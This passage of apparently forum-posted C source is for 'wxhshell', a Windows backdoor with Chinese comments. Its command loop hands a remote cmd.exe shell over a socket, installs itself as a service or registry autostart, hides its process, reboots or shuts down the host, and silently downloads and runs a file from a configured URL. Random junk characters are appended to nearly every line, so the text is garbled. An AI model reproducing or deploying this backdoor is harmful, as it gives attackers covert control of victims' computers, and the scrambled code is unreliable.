  case '?': { )C&'5z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O-,0c1ts  
    break; !eP)"YWI3  
  } >[r,X$]  
  // 安装 M$$Lsb [  
  case 'i': { (CR]96n  
    if(Install()) kD\7wz,ui  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yLgv<%8f  
    else rInZd`\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VtYrU>q  
    break; $i9</Es P  
    } es!>u{8)  
  // 卸载 X6-;vnlKN  
  case 'r': { ANuO(^  
    if(Uninstall()) 76eF6N+%}t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3?5Z/,y  
    else ,k |QuOrCh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y}*J_7-  
    break; J>dIEW%u  
    } !e?2 x@J  
  // 显示 wxhshell 所在路径 ]y\Wc0 q  
  case 'p': { _L% =Q ulu  
    char svExeFile[MAX_PATH]; pZ)N,O3  
    strcpy(svExeFile,"\n\r"); FByA4VxB  
      strcat(svExeFile,ExeFile);  \<u  
        send(wsh,svExeFile,strlen(svExeFile),0); +cwuj  
    break; X0 ^~`g  
    } EN/r{Cm$B  
  // 重启 mhW*rH*m  
  case 'b': { }Hy4^2B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /*1p|c^  
    if(Boot(REBOOT)) ! z6T_;s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9$s~ `z)  
    else { 4o3TW#  
    closesocket(wsh); =Y {<&:%(  
    ExitThread(0); qtlcY8!  
    } L]Dq1q8`  
    break; A/TCJ#>l  
    } CNl @8&R  
  // 关机 wBI>H 7A  
  case 'd': { A/sM ?!p>_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &HB!6T/  
    if(Boot(SHUTDOWN)) | {Tq/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W4p4[&c|  
    else { Qpocj:  
    closesocket(wsh); FjV)QP H  
    ExitThread(0); Y+nk:9  
    } G Q\;f  
    break; c|s7 cG$+-  
    } w`_"R6  
  // 获取shell }!QVcu"+t/  
  case 's': { ?p& ( Af)  
    CmdShell(wsh); :kKdda<g#  
    closesocket(wsh); @ MKf$O4K  
    ExitThread(0); a)QSq<2*  
    break; 8 -YC#&  
  } !rTkH4!_  
  // 退出 })umg8s  
  case 'x': { ]{ir^[A6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^i!I0Q2yd  
    CloseIt(wsh); vw6DHN)k  
    break; \rM5@ Vf  
    } ows 3%  
  // 离开 +} x\|O  
  case 'q': { O39f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |ngv{g  
    closesocket(wsh); {F ',e~}s  
    WSACleanup(); #CRd@k ?  
    exit(1); s<{) X$  
    break; V/]o':  
        } &3f^]n!@  
  } .&2~g A  
  } g4^3H3Pd  
o&MOcy D  
  // 提示信息 opgNt o6$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @tlWyUju  
} B^@X1EE  
  } Xbu P_U'  
>Xi/ p$$7u  
  return; w>wzV=R  
} ?izl#?  
p&2oe\j$,  
// shell模块句柄 p:zRgwcn  
int CmdShell(SOCKET sock) #|/ +znJm  
{ }=p+X:k=  
STARTUPINFO si; GL,( N|  
ZeroMemory(&si,sizeof(si)); e=`=7H4P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IL{tm0$r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @_0tq{  
PROCESS_INFORMATION ProcessInfo; H;MyT Vl  
char cmdline[]="cmd"; `r]C%Y4?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =Q#d0Q  
  return 0; $]gflAe2  
} Ch_eK^ g1  
RMHJI6?LB  
// 自身启动模式 zy`T! $  
int StartFromService(void) 3z% W5[E)  
{ `(M0I!t  
typedef struct 0i(c XB  
{ ^s\T<;  
  DWORD ExitStatus; 4{ [d '-H5  
  DWORD PebBaseAddress; NUFW SL>  
  DWORD AffinityMask; _&N}.y)+t  
  DWORD BasePriority; rV}&G!V_t  
  ULONG UniqueProcessId; v8K`cijSS  
  ULONG InheritedFromUniqueProcessId; .Bojb~zt  
}   PROCESS_BASIC_INFORMATION; $|t={s34  
.'b| pd  
PROCNTQSIP NtQueryInformationProcess; JnLF61   
EMzJyGt7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uC%mGZ a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o37D~V;  
0 YAH[YF  
  HANDLE             hProcess; C!U$<_I\2  
  PROCESS_BASIC_INFORMATION pbi; > D%  
! ~tf0aY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a U*}.{<!  
  if(NULL == hInst ) return 0; \_x~lRqJJ  
Vwb_$Yi+]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FuC \qF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xdh%mG:?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \ 027>~u {  
JCci*F#r  
  if (!NtQueryInformationProcess) return 0; MzH'<`;BP  
?JBA`,-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M(vX.kF  
  if(!hProcess) return 0; W;?e@}  
OZEbs 7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; intl?&wC  
$b)t`r+  
  CloseHandle(hProcess); iK!FVKi}  
VaA.J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3vdFO: j  
if(hProcess==NULL) return 0; 4v` G/w  
-$$mrU  
HMODULE hMod; <H$!OPV  
char procName[255]; L tUvFe  
unsigned long cbNeeded; W#2} EX  
x[xRqC vL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aYM~Ub:x{  
)iid9K<HB  
  CloseHandle(hProcess); /D964VR1M\  
@9~x@[  
if(strstr(procName,"services")) return 1; // 以服务启动 ^6J*:(eM  
*4%%^*g.I  
  return 0; // 注册表启动 jVh:Bw  
} WF:4p]0~)  
V9jxmu F,  
// 主模块 %/ "yt}"|  
int StartWxhshell(LPSTR lpCmdLine) 2#ZqGf.'v  
{ &G?"I%Vw  
  SOCKET wsl; }rUAYr~VZ  
BOOL val=TRUE; iH~A7e62OZ  
  int port=0; KTBtLUH]*F  
  struct sockaddr_in door; }I1j#d0.  
sOb]o[=  
  if(wscfg.ws_autoins) Install(); =R"LB}>h}  
P@D\5}*6  
port=atoi(lpCmdLine); a_-@rceU  
w|Ry) [  
if(port<=0) port=wscfg.ws_port; #M4LG; B  
5~ZzQG  
  WSADATA data; qOIVuzi*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;NE4G;px4<  
5A<}*T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    3Yo)K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5 D=r7  
  door.sin_family = AF_INET; -9;?k{{[T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GFju:8P?  
  door.sin_port = htons(port); +o):grWvQ  
zszmG^W{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |6;-P&_n  
closesocket(wsl); ||ugb6q[6B  
return 1; eiXl"R^  
} ZH*h1?\X  
zl| XZ  
  if(listen(wsl,2) == INVALID_SOCKET) { x6*y$D^B  
closesocket(wsl); ={f8s,m)P,  
return 1; |3 Iug  
} [4aw*M1z}.  
  Wxhshell(wsl); Bl^ BtE?-b  
  WSACleanup(); kKjcW` [  
NC Y2^  
return 0; hn\d{HP  
h-RhmQA=Iz  
} Sk)lT^by  
{> 8?6m-  
// 以NT服务方式启动 Z/!awf>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *_7/'0E(3  
{ o';/$xrH  
DWORD   status = 0; 8vtembna4  
  DWORD   specificError = 0xfffffff; ,LP^v'[V7  
\Rb:t}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^do6?e`?-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KV8<'g+2?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qj `C6_?  
  serviceStatus.dwWin32ExitCode     = 0; |)C *i  
  serviceStatus.dwServiceSpecificExitCode = 0; Dv L8}dz  
  serviceStatus.dwCheckPoint       = 0; _*n `*"  
  serviceStatus.dwWaitHint       = 0; OZd (~E  
yimK"4!j5A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e /1x/v'  
  if (hServiceStatusHandle==0) return; +95v=[t#Ut  
bC~I}^i\  
status = GetLastError(); 5pC}ZgEa<  
  if (status!=NO_ERROR) t`{T:Tjc  
{ 1e7I2g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ek U%^R<  
    serviceStatus.dwCheckPoint       = 0; (9kR'kr  
    serviceStatus.dwWaitHint       = 0; WUo\jm[yr  
    serviceStatus.dwWin32ExitCode     = status; `34{/ }w  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ok|Dh;1_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VIN0kRQ#  
    return; RgW#z-PZF  
  } mwyB~,[d+W  
3Zl:rYD?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  I8`$a  
  serviceStatus.dwCheckPoint       = 0; nm& pn*1  
  serviceStatus.dwWaitHint       = 0; MB $aN':  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <VQ)}HW;k  
} k`A39ln7wu  
-%gEND-AP  
// 处理NT服务事件,比如:启动、停止 eO(U):C2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hqlQ-aytS  
{ Pqw<nyC.  
switch(fdwControl) ^6R(K'E}  
{ U*E)y7MY  
case SERVICE_CONTROL_STOP: \G7F/$g  
  serviceStatus.dwWin32ExitCode = 0; awvP;F?q|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @6UZC-M0  
  serviceStatus.dwCheckPoint   = 0; >T c\~l  
  serviceStatus.dwWaitHint     = 0; c#"t.j<E}  
  { zH6@v +gb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2%6 >)|  
  } {7c'%e  
  return; F?05+  
case SERVICE_CONTROL_PAUSE: #p55/54ZI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iU37LODa2T  
  break; M8<Vd1-5  
case SERVICE_CONTROL_CONTINUE: J=gFiBw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y+w,j]  
  break; {j;` wN  
case SERVICE_CONTROL_INTERROGATE: |2@*?o"ll  
  break; ; :q  
}; tq3Rc}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %>_6&A{K,d  
} %=Z/Frd  
j*Pq<[~  
// 标准应用程序主函数 _MLf58  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "om7 : d  
{ 3)6-S  
S*|/txE'~Y  
// 获取操作系统版本 "y&`,s5}  
OsIsNt=GetOsVer(); .UNV &R0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !U>WAD9  
vNrn]v=|}7  
  // 从命令行安装 jl&Nphp  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6}e*!,2Xj  
pr7lm5  
  // 下载执行文件 #v xq|$e  
if(wscfg.ws_downexe) { 7pciB}$2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qt*+ D  
  WinExec(wscfg.ws_filenam,SW_HIDE); X!/Sk1  
} >5:O%zQ@  
Bf;_~1+vLG  
if(!OsIsNt) { u4w!SD  
// 如果时win9x,隐藏进程并且设置为注册表启动 z\A ),;  
HideProc(); S#v3%)R  
StartWxhshell(lpCmdLine); _p+E(i 9  
} 5Gy#$'kdf  
else "t(_r@qU/  
  if(StartFromService()) X~c?C-fV  
  // 以服务方式启动 %Q0R] Hg  
  StartServiceCtrlDispatcher(DispatchTable); i!e8-gVMP&  
else P/|1,S k  
  // 普通方式启动 c$71~|-[  
  StartWxhshell(lpCmdLine); K)~aH  
{vCtp   
return 0; oD9n5/ozo  
}
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只看该作者 1 发表于: 2006-10-10
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